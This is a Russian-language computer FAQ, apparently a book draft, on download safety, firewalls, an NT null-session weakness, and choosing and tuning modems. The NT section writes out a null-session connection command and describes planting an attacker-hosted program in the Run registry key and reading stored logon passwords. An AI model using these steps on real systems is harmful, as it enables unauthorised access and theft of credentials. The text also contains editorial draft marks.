Откуда бы ни был получен файл – никаких гарантий его безопасности нет – даже если он был "слит" с сервера компании Microsoft или аналогичного ей гиганта компьютерной индустрии. Сервер компании вполне мог быть атакован и "честный" файл заменен зловредной программой; мог быть атакован и один из промежуточных Интернет-узлов для перенаправления запросов к на заранее подделанный сайт, с вирусной начинкой; да и в самой компании мог завесить вредитель – обиженный на свое начальство сотрудник…

Впрочем, подцепить заразу с сервера Microsoft и подобных ей корпораций так же невероятно, как оказаться под некстати упавшим сверху балконом. Содержимое серверов фирм среднего звена еще безопаснее – т.к. такие фирмы заботятся о незапятности собственной репутации куда ревностнее транс корпораций, которым все ни по чем. К тому же, чем крупнее корпорация, тем ей труднее уследить за всеми своими сотрудниками.

В общем, скачивать продукцию непосредственно с серверов фирм-производителей вполне безопасно. Другое дело "софтверные" сервера (типа ), распространяющие чужую продукцию – они, за редкими исключениями, не могут поручиться за чистоту программного обеспечения, предоставленного им третьими лицами. В лучшем случае – проверяют все программы на вирусы, но эта мера спасает лишь от старых, уже известных вирусов, но совершенно бессильна против новых "насекомых" и "закладок" – секретных функций программы, заложенных ее разработчиком для причинения ущерба пользователям оной. Еще рискованнее качать софт кустарного производства с чьих-то домашних страничек – даже если его создатель и в мыслях не держал ничего дурного кривизна его рук, обильно сдобренная непрофессионализмом, могут запортить систему почище любого вируса.

Волков бояться – в лес не ходить, но как же трудно провести грань между вирусофобией и разумной осторожностью!

Q: Почему никто не слышал, чтобы вирус на машине запустил format c: Сергей Иванов

Ну почему же не слышал? Очень много вирусов так и поступает, особенно поделок, написанных школьниками ясельной группы только – только постигающих азы Бейсика… Чуть более серьезные любители уже умеют форматировать диск самостоятельно или же стирать на нем произвольные сектора по одному за день или всей кучей сразу. Форматирование – это вообще-то достаточно сложная операция и реализовать свой форматер в вирусе накладно, а большинству – откровенно лениво. Уничтожать информацию посекторно или целыми файлами – куда проще!

Поэтому "прятать" или переименовывать его, чтобы до него не дотянулись вирусы – ненужно. Вирусы и без того справятся и совершат свои злодеяния… только очень небольшая группа насекомых без не сможет выполнить своей деструктивной миссии.

Q: Насколько надежен брендмаузер?

Все брандмаузеры можно разделить на три категории – фильтры пакетов, контекстные фильтры и шлюзы уровня приложений (в обиходе называемые Proxy-серверами). В свою очередь существуют фильтры следующих уровней – прикладного, транспортного, сетевого и канального.

Первые три из них могут быть введены в заблуждение злоумышленниками, подделавшими заголовки IP-, TCP- и UDP-пакетов. Канальный уровень, т.е. уровень сопряжения с физической средой, имеет смысл контролировать только в локальной сети. При модемном соединении с провайдером эта операция ничего не дает, т.к. в этом случае все пакеты на канальном уровне приходят только от провайдера, и информации о физическом адресе узла-отправителя в них не содержится.

Контекстные фильтры Контекстные фильтры работают надежнее, но области их применения ограничены, к тому же они не способны к отражению новых атак, разработанных после их появления. Обычно они используются для поиска ключевых слов, наподобие “порно”, “секс”, “наркотики” и всех других, которые строгие родители запрещают читать своим чадам.

Шлюзы Шлюзы удобны в корпоративных сетях, но совершенно ни к чему частному пользователю, правда, если у кого-то есть два компьютера, то, выделив один под Proxy-сервер, можно попытаться обезопасить другой.

Существует множество утилит, которые позволяют посылать пакеты от чужого имени и, тем самым, вводить персональные брандмаузеры в заблуждение. Впрочем, злоумышленники можно действовать и вполне легальными (с точки зрения брандмаузера) средствами. Например: пусть жертва решила посетить некий сайт X. Разумеется, брандмаузер должен пропускать все пакеты, идущие от этого узла. Теперь – предположим, что сервер, на котором расположен сайт, предоставляет бесплатный (платный) хостинг всем желающим. Тогда, атакующий, разместив на этом серевре свою программу, сможет беспрепятственно бомбить жертву пакеты, которые не сможет отфильтровать брандмаузер.

Q: Существуют ли универсальные пароли к NT?

"Универсальных паролей" к NT не существует – это вам не Award BIOS! Но в ней есть такой зверь как нуль - пользователь, который необходим самой системе для организации нуль - сессий, использующихся Windows NT для связи с другой NT.

"Вручную" установить нуль-подключение можно командной "net use \\name\IPC$ "" /USER:""", где name – сетевое имя компьютера или его IP-адрес. Подключившийся получает доступ ко многим ветвям реестра, а так же возможность запускать User Manager для просмотра пользователей и групп, Event Viewer для просмотра журнала событий и некоторые другие утилиты.

Ветвь реестра "HKLM\Software\Microsoft\Windows\CurrentVersion\Run", содержащая имена программ, запускаемых при каждой локальной регистрации пользователя, доступна нуль - пользователю и для чтения, и для модификации! Изменяя ее по своему усмотрению, атакующий может не только выполнить одну из программ, хранящихся на сервере, но и любую из программ, находящихся на его компьютере! Для этого он должен записать нечто вроде "\\mycomputer\myprog", где mycomputer – имя компьютера злоумышленника или его IP-адрес. Командный файл выполняется с привилегиями локально зашедшего на сервер пользователя (а локально на сервер, как правило, заходят администраторы). Получив же права администратора, атакующий сможет сделать с сервером все что угодно!

Если используется автоматический вход в систему (а используется он удручающе часто), в ветке реестра "HKEY_LOCAL_MACHINE\Software\Microsoft\Windowsубратть "?"NT\CurrenetVersion\Winlogon", по умолчанию доступной группе Everyone (всем пользователям), содержатся имя пользователя, вошедшего в систему, ("DefaultUsername") и его пароль ("DefaultPassword"). Если удаленные подключения разрешены, любой член группы Everyone (т.е. всякий, зарегистрированный в системе), сможет просмотреть указанную ветвь реестра, со всеми отсюда вытекающими (для администратора) последствиями!

В Windows 2000 эти бреши в защите устранены, но нуль – пользователь по-прежнему существует и может подсоединяться к удаленному компьютеру без указания пароля.

Модемы и коммуникации

Модемы – вопросы и ответы

"Ничто не может быть плохим или хорошим само по себе"

Френк Херберт "Дюна"

Q:На какие характеристики модема следует обращать внимание в первую очередь?

Покупая двадцати одно дюймовый монитор, мы абсолютно уверены, что он будет работать именно на двадцать один дюйм, а не всего лишь на семнадцать или того хуже – четырнадцать! С модемами же ситуация совсем иная: на наших телефонных линиях практически ни какой из них не "разгоняется" до 56 килобитод в секунду – наиболее популярной на сегодняшний день скорости, горделиво красующейся на коробках. Реальная производительность модемов весьма разнится от одного изделия к другому, порой отличаясь в десятки раз, но какой бы высокой скорость ни была – модем бесполезен, если постоянно "роняет" трубку или – что хуже – и вовсе не может установить соединение.

В примере с мониторами все ясно – все основные характеристики как-то: диагональ, разрешение, частота, зернистость интуитивно понятны каждому покупателю и не требуют дополнительных разъяснений. А вот на что в первую очередь обращать внимание при покупке модема? Вопрос не имеет однозначного ответа – все зависит от рода и качества телефонной линии, на которой вы собираетесь этот модем эксплуатировать.

Для местных каналов связи в первую очередь актуальны: устойчивость модема к затуханию сигнала, устойчивость к постоянному шуму и импульсным помехам (треску). Для междугородних в дополнение к этому – максимально допустимое расхождение частот, устойчивость к джиттеру (резким скачкам фазы), степень переносимости нелинейности АЧХ ("завалов" и "подъемов" на некоторых частотах).

Затухание сигнала: вследствие сопротивления кабелей мощность сигнала по мере его продвижения от передатчика к приемнику неуклонно снижается и, если затухание окажется достаточно сильным, приемник может вообще не расслышать сигнал. Минимальная мощность сигнала, уверенно воспринимаемая приемником, называется его чувствительностью. {КОНЕЦ КУРСИВА}Чувствительность модема принято выражать в децибелах относительно мощности в 1 мВт. Попросту говоря, чем больше по модулю, приведенное в паспорте значение, чем лучше модем справляется с затуханием.

Чувствительность большинства модемов лежит в интервале от –40 до –50 дБм, чего вполне достаточно в большинстве случаев, даже более чем – на линиях с незначительным затуханием модем "глохнет" от "крика" своего собеседника и чувствительность приходится снижать. Для оптимальной настройки на конкретную линию модему необходимы регуляторы уровня приема и передачи. Они могут быть либо ручными (такие ставят на модели среднего класса), либо автоматическими (такие встречаются на дорогих моделях), а на дешевых поделках зачастую по обыкновению никаких регуляторов вообще нет или присутствует только регулятор передачи.

??? Рисунок "карикатура" – один модем, стоящий на ногах как человек, орет что есть силы, а другой затыкает свои уши пальцами

На низкокачественных телефонных линиях затухание зачастую не остается постоянным, а меняется с течением времени по случайному или периодическому закону – в этом случае ручная регулировка дает немного пользы и намного выгоднее применить модем с автоподстройкой уровня сигнала.

Очень важная характеристика – обычно замалчиваемая производителями – скорость приема данных на пределе чувствительности. Она, за исключением клинических случаев, лежит в интервале от 500 до 2.000 байт в секунду. Высокая паспортная чувствительность модема указывает лишь на возможность удержания соединения при снижении сигнала до такого-то данного уровня, но отнюдь не гарантирует стабильность и производительность его работы в таких условиях. На практике высокочувствительные модемы отличаются лишь способностью противостоять временным затуханием сигнала без разрыва связи.

Скоростной показатель по затуханию позволяет приблизительно оценить среднюю скорость передачи в зависимости от степени затухания сигнала. и Выражается он безразмерной величиной, равной площади фигуры, образованной пересечением графика "скорость (степень затухания)" с координатными осями.

Шум: монотонное шипение, так же называемое "белым шумом", описывается тем же законом, что и результат работы генератора случайных чисел. Белый шум, наложенный на полезный сигнал, можно выдать только "с мясом" – самим полезным сигналом. Фактическая амплитуда полезного сигнала равна разности амплитуд сигнала и шума. Отсюда – абсолютная величина амплитуды шума не имеет никакого значения – качество линии определяется отношением уровня сигнала к уровню шума.

Важнейшие шумовые характеристики модема – это: показатель критического отношения сигнала к шуму и скоростной показатель качества по зашумлению. Показатель критического отношения сигнала к шуму определяет максимально возможную степень зашумленности линии, при которой еще возможно поддержание связи, а скоростной показатель качества по затуханию выражается безразмерной величиной, равной площади фигуры, образованной пересечением графика "скорость (степень зашумленности)" с координатными осями.

У различных моделей модемов показатель критического отношения сигнала к шуму неодинаков и колеблется от 2 до 11 дБ, чем эта величина больше, тем более качественная линия требуется модему для работы.

Импульсные помехи: щелчки и трески на линии в режиме блочной передачи как минимум приводят к необходимости повторной посылки кадра, а максимум – перенастройке параметров соединения. Разрыв связи от кратковременных помех случается крайне редко и указывает на неправильную настройку или неисправность модема.

Расхождение частот: высокочастотное уплотнение связи, использующие в основном на междугородних каналах, основано на сдвиге спектра передаваемого сигнала в высокочастотную область – это позволяет, сдвигая спектр каждого абонента на "свое" расстояние, "упаковать" в один высокочастотный канал множество низкочастотных. Разумеется, на принимающей стороне приходится проделывать обратную операцию – сдвигать спектр вниз – в область меньших частот.

В силу конструктивных особенностей синхронизация между приемником и передатчиком отсутствует, что приводит к невозможности точного воспроизведения частоты исходного сигнала – возможен как "недодвиг", так и "передвиг". По нормативам максимально допустимое отклонение составляет ±7 Гц, но на практике приходится сталкиваться и с большими значениями.

Противостоять сдвигам частоты помогают специальные компенсаторы, встроенные в модем – чем совершеннее компенсатор, тем больший сдвиг он может выдержать. Расхождение частот никак не сказывается на скорости обмена данными, но, начиная с некоторой величины, компенсатор не справляется и связь не устанавливается.

Критическое значение сдвига варьируется от одной модели модема к другой и заключено в интервале от ±10 до ±20 Гц – чем оно больше, тем лучше модем.

Джиттер: наводки от источников переменного тока и индукторных вызовов с соседних каналов, проходя через аппаратуру высокочастотного уплотнения, приводят к паразитной модуляции и, как следствие, – дрожанию фазы с частотой порядка 100 Гц. Основная энергия джиттера сосредоточена в узком диапазоне 2-20 Гц и специальные фильтры, встроенные в модем, могут ее подавить.

Разумеется, степень подавления джиттера различными моделями модемов не одинакова – одни рвут связь уже при 20°, в то время как другие спокойно выдерживают 45°. Чем эта величина больше – тем лучше.

Нелинейность АЧХ: вследствие индуктивного сопротивления линии, затухание сигнала быстро растет с частотой, и для преодоления этой беды применяют эквалайзер, позволяющий выборочно усиливать строго определенные частоты, а не весь спектр сигнала целиком.

Пункты переприема – попросту говоря ретрансляторы – вносят в сигнал свои искажения – усилители заваливают АЧХ по краям, причем каждый из них по-своему, отчего после N-ого пункта переприема АЧХ сигнала начинает приобретать очень причудливый вид, напоминая разлапистый горный кряж с многочисленными "пиками" и "провалами". Исправить такие искажения может только очень сложный эквалайзер. К сожалению, общепринятой величины, выражающей "интеллектуальность" эквалайзера не существует, и в отчетах независимых экспертов фигурирует другая величина – максимальное количество станций переприема, которое может "вынести" модем. При условии, что все модемы тестировались на одной аппаратуре, эта величина позволяет сравнивать относительное качество одних моделей с другими.

Эхо: своим появлением дуплексная передача не в последнюю очередь обязана изобретению адаптивных эхо компенсаторов, – без них уровень шумов был бы настолько высок, что о скоростях передачи свыше 2.400 бит в секунду пришлось бы забыть. С ростом скорости допуски на эхо резко ужесточаются, а сами компенсаторы невероятно усложняются, порой приближаясь к сложности самого модема, а то и превосходя его. Производители дешевых моделей экономят в первую очередь на эхо - компенсаторах, и такие модемы крайне неудовлетворительно работают на линях среднего и низкого качества – они либо вообще не могут соединиться на скорости выше 14.400 – 19.200, либо постоянно роняют трубку.

Подавление эха – задача, тесно граничащая с искусственным интеллектом, и общепринятых единиц для ее выражения нет.

{ВСТАВИТЬ ПЕРЕНОС СТРОКИ \n}

Производители модемов с упорством, достойным упрямейших из ослов, всеми силами замалчивают реальные технические характеристики своих изделий, и уж тем более избегают приводить их в паспорте. Поэтому, техническая документация – слабый помощник при выборе конкретной модели модема. Приходится обращаться к независимым источникам и отчетам тестирования модемов различными экспертами. Чаще всего их измерения носят объективный характер и достаточно достоверны, но:

во-первых, как правило, это измерения с настройками по умолчанию – иначе, говорят эксперты, будут сравниваться не сами модемы, а искусство их настройки. Но настройки по умолчанию под час мало чему путному соответствуют, и такие тесты должны быть интересны только покупателям a la "принес – воткнул - работает", не собирающихся "колдовать" над своим модемом;

во-вторых, независимые тестеры редко измеряют все перечисленные выше параметры, а без этого результат тестирования, мягко говоря, ущербленный, неполноценный. Скажем, к чему модему высокая чувствительность, если он не может справиться ни с эхом, ни с шумом – постоянными спутниками тихого сигнала. Это все равно, что скоростная гоночная машина со слабыми тормозами и плохим управлением – крути – не крути, а ездить на полной скорости все равно не придется.

Выбор модема – рулетка! и Здесь очень трудно дать заочно конкретный совет, но автор все-таки же попробует…

Родственные вопросы:

Выбор модема (следующий)

Как выбрать модем по руке

Как подобрать правильную строку инициализации или что делать, если модем не работает?

A:Выбор модема

Q:Внутренний или внешний?

Внешние модемы (особенно хорошие) всегда дороже внутренних того же аналогичного класса. В то же время, скорость, начертанная на коробке, в обоих случаях одинаковая – 56, - других модемов сегодня днем с огнем не сыщешь! Так за какие же такие преимущества внешнего модема стоит платить деньги?

В отличие от внутренних, подверженных наводкам от различных блоков компьютера, внешние модемы надежно защищены от помех и своим корпусом, и корпусом PC, отчего работают намного стабильнее и, что тоже немаловажно, сами не создают наводок на чувствительные к этому узлы компьютера (у автора при установке внутреннего модема на мониторе сразу же возникали возникают едва заметные, но все же ощутимо портящие изображение, темные вертикальные полосы).

Второе – "зависания" внешнего модема "лечатся" включением-выключением его питания, в то время как внутренний же приходится "реанимировать" перезагрузкой всего компьютера. (Впрочем, на машинках с поддержкой SMM можно вогнать компьютер в "сон", выключить питание, а затем "разбудить", – и все восстановится, как будто бы никакого выключения питания и не было, - но все равно это отнимает время и весьма неудобно).

Третье – внешние модемы имеют индикаторы, позволяющие контролировать состояние линии и работу самого модема. Владельцы внутренних модемов для той же цели прибегают к утилитам программной индикации, но их функциональные возможности значительно скромнее, да и работают они не всегда.

Впрочем, два последних достоинства даны лишь в "довесок" к первому – надежность связи превыше всего, а в ней-то встроенные модемы проигрывали, и будут проигрывать. С другой стороны, грамотно сконструированный внутренний модем со всеми фильтрами и цепями развязки на линиях хорошего и отличного качества практически не уступает внешнему модему ни по скорости, ни по надежности.

При этом он не занимает места на столе (под час это весьма актуально), питается от блока питания компьютера (не требуя персональной розетки или переходника к UPS), и самое главное – не "отъедает" последовательный порт, который может требоваться и для других вещей (сканер, USP, Direct Cable Connection и т.д.).

A:Как выбрать модем по руке?

Модемы, – какие же они все одинаковые и в то же время непохожие друг на друга! У каждого из них свой "нрав", и свои, отличные от других, особенности поведения. Словно и впрямь модем – мужчина, а телефонная линия – женщина и полюбить слюбиться им друг друга с первого взгляда им удается далеко не всегда, если вообще удается. – Бывает, мучаешься-мучаешься с настройками дорогого модема, а он не хочет работать и все. Сменишь на более дешевый – разгоняется так, что дым из ушей валит.

??? Рисунок "карикатура" обыграть предыдущий абзац

Так какой же все таки выбрать? Увы, даже если отчетливо представляешь, что тебе нужно, зачастую делаешь выбор вслепую, поскольку продавец не может толком объяснить чем конкретно отличается один модем от другого и насколько хорошо каждый из них справляется с такими-то и такими-то искажениями. Какие именно параметры линии \ соединения может измерять модем (это очень важно для ручной настройки на конкретную линию – в самом деле, не действовать же в слепую или тащить домой целый комплекс измерительной аппаратуры) и насколько он гибок в настройке?

Ниже приведено максимально подробное описание трех, может быть и не самых популярных моделей, но хорошо знакомых автору по личному опыту эксплуатации. наиболее популярных на сегодняшний день модемов: Это: ACORP 56K, 3Com US Robotics Courier V. Everything и ZyXEL OMNI 56K Pro.

ACORP 56K

"Дешево и сердито" – вот главный девиз тайваньской фирмы "ACORP Electronic Corporation". При чтении технического руководства сего изделия, купленного по случаю распродажи у одного предпринимателя всего за сто пятьдесят рублей {>>>> сноска цена на момент 2001 года}, у автора возникло устойчивое впечатление, что ACORP – в натуральном смысле слова "кастрированный" модем. Помните, как у Вини - Пуха – "это неправильные пчелы, и они несут неправильный мед".

Адоптивной подстройки под линию нет, ручной регулировки уровней сигнала нет, измеритель АЧХ напрочь отсутствует, а сбор статистики краток до безобразия, реле, отключающее параллельный телефон, и не ночевало, и в довершении ко всему этому – неустойчивое распознание сигнала "занято".

Словом, ACORP 56K – это модель для хороших телефонных линий и непритязательных пользователей, любителей же "шаманить" с настройками этот модем навряд ли удовлетворит ввиду отсутствия возможности настройки вообще – эдакий "кодак-автомат", имеющий только одну кнопку – "спуск". ???? Рисунок "карикатура" – обыграть!

По своему личному опыту автор может сказать, что на местных линиях среднего качества модем вполне стабильно держит соединение 14.400\19.200, работая круглыми сутками напролет. Но вот на междугородке… даже при хорошо настроенной аппаратуре уплотнения связи при скорости 19.200 связь разрывается не реже, чем через 60-80 минут, а в среднем – каждые 15-20 минут. Модемы же 3Com US Robotics Courier V. Everything и ZyXEL OMNI 56K в тех же условиях без нареканий работают на 28.800, причем ZyXEL эпизодически соединяется и на более высоких скоростях.

Возможности:

Подстройка уровня выходного сигнала нет

Подстройка уровня входного сигнала нет

Механизм адаптивной настройки на линию нет

Измеритель АЧХ линии нет

Сбор статистики соединения краткий

Жидкокристаллический экран нет

Ограничение скорости соединения есть

Реле для отключения параллельного телефона нет

Распознает сигнал занято нет

Встроенный АОН нет

Встроенный Автоответчик нет

Чипсет Rockwell

Характеристики линии и соединения, определяемые модемом в режиме сбора статистики:

Протокол связи да

Скорость приема \ передачи да

Частота несущей приемника \ передатчика нет

Отношение сигнал \шум да, последняя + максимальная

Уровень входного сигнала да

Уровень выходного сигнала нет

Задержка возврата эха нет

Уровень ближнего эха нет

Уровень дальнего эха нет

Дрожание фазы нет

Сдвиг частоты нет

Условное качество линии да

Измерение АЧХ нет

Количество переданных блоков нет

Количество блоков, переданных с ошибками нет

Рисунок 15 Рис. Acorp.bmp Внешний вид модема ACORP 56K

3Com US Robotics Courier V. Everything

Модем US Robotics Courier V. Everything компании 3Com – одна из лучших моделей, представленных на Российском рынке. На совесть сделанная система адаптивной подстройки под конкретную линию, добротные эхо - гаситель, компенсатор сдвига несущей и джиттера фазы вкупе с высокой чувствительностью и удовлетворительной сопротивляемостью к шуму оправдывают отнюдь немалую стоимость этого модема.

Отличительная особенность Courier V. Everything - рекордно высокая скорость приема на сильно зашумленных каналах. В этом отношении он обгоняет все остальные модемы, включая ZyXEL, и даже превосходит последний в несколько раз! Однако ZyXEL способен работать на гораздо более зашумленных линиях, чем Courier V. Everything, пусть и с небольшой скоростью. Поэтому вопрос: какой же модем выбрать Courier V. Everything или ZyXEL Pro? – отнюдь не прост. По мнению автора, лучший выход из положения – покупка двух модемов. А что? Ведь ни одна женщина не ходит и летом, и зимой в одном платье – чем же мы, модемщики, хуже?!

Возможности:

Подстройка уровня выходного сигнала есть, авто

Подстройка уровня входного сигнала есть, авто

Механизм адаптивной настройки на линию есть

Измеритель АЧХ линии есть

Сбор статистики соединения есть, подробный

Жидкокристаллический экран нет

Ограничение скорости соединения есть

Реле для отключения параллельного телефона есть

Распознает сигнал занято да

Встроенный АОН есть

Встроенный Автоответчик нет

Чипсет RockwellTexas Instruments

Характеристики линии и соединения, определяемые модемом в режиме сбора статистики:

Протокол связи да

Скорость приема \ передачи да

Частота несущей приемника \ передатчика нет

Отношение сигнал \шум да, последняя + максимальная

Уровень входного сигнала да

Уровень выходного сигнала нет

Задержка возврата эха да

Уровень ближнего эха нет

Уровень дальнего эха нет

Дрожание фазы нет

Сдвиг частоты нет

Условное качество линии да

Измерение АЧХ да

Количество переданных блоков да

Количество блоков, переданных с ошибками нет

Рисунок 16 Рис. Courier Внешний вид модема 3Com US Robotics Courier V. Everything

ZyXEL Omni 56K Pro

"Мы не настолько богаты, чтобы покупать дешевые веши" – эта знаменитая немецкая пословица как нельзя лучше подходит к изделиям фирмы ZyXEL. Цены "кусаются", но и качество "кусается" тоже. Автор до сих пор не может забыть свое своего первого впечатление отвпечатления от модема U 1496, уверенно работающего на линии, на которой там, где и человеческий голос проблематично расслышать. Оно и понятно – префикс "U" указывает на профессиональную модель, рекомендуемую самой фирмой для банков и железных дорог – там, где требования надежности связи превыше всего.

"Домашним" пользователям, не обремененным высокой зарплатой, глядя на такой модем, долгое время оставалось лишь облизываться и… отправляться на поклон к конкурентам. Не желая отдавать сегмент рынка, сам идущий к ней в руки, фирма наконец-таки обратила внимание на потребителей с "тощим кошельком", выпустив сразу несколько моделей – ZyXEL OMNI 56K, ZyXEL OMNI 56K Plus и ZyXEL OMNI Pro – самый совершенный из всех трех, и – что не удивительно – дорогой.

Суффикс "Pro" намекает на принадлежность модема к профессиональной серии, но таковым он отнюдь не является – не реализованы протоколы ZyXEL и ZyCELL и нет возможности работы с выделенной линией. Вся "профессиональность" заключается в наличии многофункционального жидкокристаллического экрана, на котором отображается текущий режим работы модема, параметры линии, включая АЧХ, и другая оперативная информация. Необъяснимая притягательность индикатора распространяется и на тех, кто ничего не понимает ни в модуляции, ни в теории передачи информации. Правда, со временем к индикатору привыкаешь и "болезнь" смотреть на него, а не на загружаемый сайт, проходит.

Примечательно, что модем собран на своем собственном чипсете – М4, в то время как большинство его конкурентов используют более дешевый и менее качественный Rockwell. В сравнение со своим ближайшим конкурентом – US Robotics Courier V. Everything – ZyXEL обладает вдвое большей помехоустойчивостью, более качественным эквалайзером и на удивление подробной информацией о состоянии линии \ соединения (что очень полезно для "тонкой" подстройки на плохих каналах), но несколько уступает ему в чувствительности и скоростном показателе качества по зашумленности (подробнее об этом сказано в описании 3Com US Robotics Courier V. Everything).

Не имеющие прямого отношения к модему, но все же приятные фенечки – автономный АОН и автономный автоответчик, первый из которых работающие работает даже при выключенном компьютере, также склоняют к покупке этой модели. – Конечно, можно купить отдельный автоответчик и АОН, но гораздо удобнее совместить все эти устройства в одном агрегате. (Впрочем, встроенный АОН модема конфликтует с параллельным телефоном типа "Русь", в результате чего ни там, ни там номер звонившего не определяется, причем отключение модемного АОН'а не снимает проблему).

Приятно и то, что фирма серьезно относится к вопросу адаптации своих модемов к отечественным линиям, внося изменения не только на программном (как у большинства конкурентов), но и аппаратном уровне.

Общее впечатление портит хрупкий на вид корпус полупрозрачных тонов (ау! iMac!), чрезвычайно отвратный на взгляд автора (корпус он ведь на что – чтобы детали монтажа скрывать), но с этой неприятностью можно смириться или засунуть модем между компьютером и монитором, так чтобы выглядывал один лишь индикатор.

По неофициальным сведениям, полученным от продавца фирмы "Информационные технологии" (), практически все ZyXEL ONMI ломаются на отечественных линях в течение полугода – их отправляют по гарантии на завод-изготовитель, где ремонтники делают "больному" небольшую доводку, после которой, по их словам, модем будет работатработаеть вечно. По словам продавца, это серьезно ограничивает спрос на такие модемы, ибо клиенты не понимают, почему вещь, стоящая свыше двухсот долларов, заведомо должна сломаться, и неужто фирме было трудно исправить эту проблему еще на заводе?

Из других недостатков хотелось бы отметить слишком хриплый динамик, заметно уступающий в звучании ACORP'у и довольно громкий свист, издаваемый модемом при включенном питании. Наконец, при изменении одних настроек модем самопроизвольно искажает другие (хотя, быть может, это дефект экземпляра автора).

Возможности:

Подстройка уровня выходного сигнала есть, авто \ ручная

Подстройка уровня входного сигнала есть, авто \ ручная

Механизм адаптивной настройки на линию есть

Измеритель АЧХ линии есть

Сбор статистики соединения есть, подробный

Жидкокристаллический экран есть, многофункциональный

Ограничение скорости соединения есть

Реле для отключения параллельного телефона есть

Распознает сигнал занято да

Встроенный АОН есть

Встроенный Автоответчик есть

Чипсет M4

Характеристики линии и соединения, определяемые модемом в режиме сбора статистики:

Протокол связи да

Скорость приема \ передачи да

Частота несущей приемника \ передатчика да

Отношение сигнал \шум да, мгновенная + максимальная

Уровень входного сигнала да

Уровень выходного сигнала да

Задержка возврата эха да

Уровень ближнего эха да

Уровень дальнего эха да

Дрожание фазы да

Сдвиг частоты да

Условное качество линии да

Измерение АЧХ да

Количество переданных блоков да

Количество блоков, переданных с ошибками да

Рисунок 17 Рис. ZyXELPro Так выглядит модем ZyXEL 56K OMNI Pro

Рисунок 18 ZyXEL56K Так Выглядит модем ZyXEL 56K OMNI Plus

Родственные вопросы:

Так какой же модем все-таки выбрать? (следующий)

Как подобрать правильную строку инициализации или что делать, если модем не работает?

Q:Так какой же модем все-таки выбрать?

Помните анекдот о том парне, который, подстригшись налысо, задумчиво посмотрел в зеркало, и заказал другую стрижку? Если купленный модем чем-то не понравился, не каждый продавец согласится обменять его на другой. А если и согласится, где гарантия, что тот другой не окажется еще хуже? Что, играй музыка назад?

Осмысленный выбор модема требует точного знания характера помех и качества своей телефонной линии, и единственный бытовой прибор доступный для ее измерения – сам модем, причем не всякий, а только дорогая модель. Дешевый ACORP не умеет снимать даже АЧХ, не говоря уже об измерении шума, эха, сдвига несущей, дрожания фазы и т.д.

Замечательно, если ZyXEL OMNI Pro можно ненадолго одолжить у приятеля или взять на прокат – это позволит оценить ситуацию и поможет приобрести именно то, что нужно. Если же такой возможности нет – лучше не рисковать и остановить свой выбор на ZyXEL OMNI Pro. (Исключая случаи с сильно зашумленными каналами, на которых быстрее всего работает V Everything)

Родственные вопросы:

Как подобрать правильную строку инициализации или что делать, если модем не работает? (следующий)

Q:Как подобрать правильную строку инициализации или что делать, если модем не работает?

В идеале каждый модем должен уметь самостоятельно адаптироваться под телефонную линию, не требуя от пользователя шаманских танцев с бубном вокруг себя. Но жизнь далека от идеала – порой модем ведет себя как дикий зверь: то не хочет устанавливать соединение, то бросает трубку. Возможно, лучший выход из ситуации – купить другой модем, более подходящий к таким условиям, но зачастую проблему удается решить грамотной настройкой.

Гибкость настройки различных модемов не одинакова и сильно разнится от модели к модели. Многие дешевые поделки вообще не поддаются настройке, профессиональные же модемы (и близкие к ним модели бытовых) допускают ручную регулировку большинства своих узлов и – что самое главное – умеют измерять основные характеристики линии и величину искажений. Надо ли говорить насколько это облегчает настройку? Ведь, действуя вслепую, недалеко уедешь…

Операционные системы семейства Windows поддерживают ручное конфигурирование модема, позволяя передать все требуемые параметры через строку инициализации. ("Панель управления" à "Модемы")"Панель управления"  МодемыСвойстваПодключениеДополнительно и в открывшемся диалоговом окне найдите поле "Строка инициализации" (Windows 9x) или "Панель управления"  МодемыСвойстваДополнительные параметры связиДополнительные параметры инициализации (Windows 2000). Строка инициализации состоит из AT-команд модема, передаваемых ему перед каждым обращением.

Команды делятся на базовые, общие для всех модемов, и расширенные – специфичные для каждой модели. Базовый набор AT-команд весьма аскетичен и позволяет манипулировать лишь основными настройками, а такие операции как изменение уровня выходного сигнала или коррекция чувствительности не стандартизированы и каждым производителем реализуются по-своему (если вообще реализуются). В результате все модемы требует индивидуального подхода и общих рекомендаций по настройке, приемлемым ко всем моделям, дать просто невозможно.

Ниже описана настройка трех популярных моделей: ACORP 56K, 3Com US Robotics Courier V. Everything и ZyXEL OMNI 56K Pro. Владельцем модем других типов придется обратиться к их документации на предмет выяснения какими командами осуществляется управление теми или иными опциями и предусмотрено ли оно вообще.

???? Рисунок "Карикатура" Модем разогнанный до такой степени, что летит как самолет по взлетной полосе

Решения общие для всех модемов

Модем не устанавливает связь:

– убедитесь, что в телефонной линии наличествует гудок: на некоторых АТС он появляется только лишь через несколько секунд после снятия трубки; если это так, увеличьте содержимое регистра S6, хранящего время ожидания гудка в секундах (по умолчанию обычно 2);

– возможно, модем не успевает дождаться отклика от удаленного модема – проверьте содержимое регистра S7, хранящего время ожидания несущей после набора номера в секундах, – по умолчанию оно должно быть равно 30 секундам (чего более чем достаточно), но бывают и отклонения в нижнюю сторону;

– многие модемы не могут установить соединение из-за помех на линии, которые они ошибочно принимают за несущую частоту удаленного модема со всеми отсюда вытекающими последствиями. Попробуете увеличить содержимое регистра S9, хранящего время в десятых долях секунды в течение которого следует принимать несущую частоту. По умолчанию оно равно 6 (т.е. 0,6 сек.), чего более чем недостаточно в большинстве случаев. Хороший результат дает S9=30. Обратите внимание: вместе с увеличением содержимого S9 необходимо увеличить и значение регистра S10, хранящего время в десятых долях секунды в течение которого может отсутствовать несущая частота и при этом не происходит разрыв связи. Если S9 = S10 то любое, даже мгновенное пропадание несущей, приводит к разрыву связи, а если S9 > S10, то установить связь вообще не удается.

Модем часто бросает трубку:

– попробуйте увеличить содержимое регистра S10, хранящего время в десятых долях секунды в течение которого может отсутствовать несущая частота, и при этом не происходит разрыв связи. По умолчанию оно равно 7 (т.е. 0,7 сек.), чего явно недостаточно при эксплуатации модема на некачественных каналах. Хороший результат дают значения от 80 десятых долей секунд и более. Обратите внимание, что на некоторых модемах максимальное время отсутствия несущей определяется разницей значений регистров S10 и S9, а не самим содержимым S10. Если записать в регистр S10 значение 255, то, сколько бы времени ни отсутствовала несущая, связь не будет разрываться, что может привести к зависанию модема, преодолимому только отключением \ включением питания.

Модем не определяет сигнал "занято":

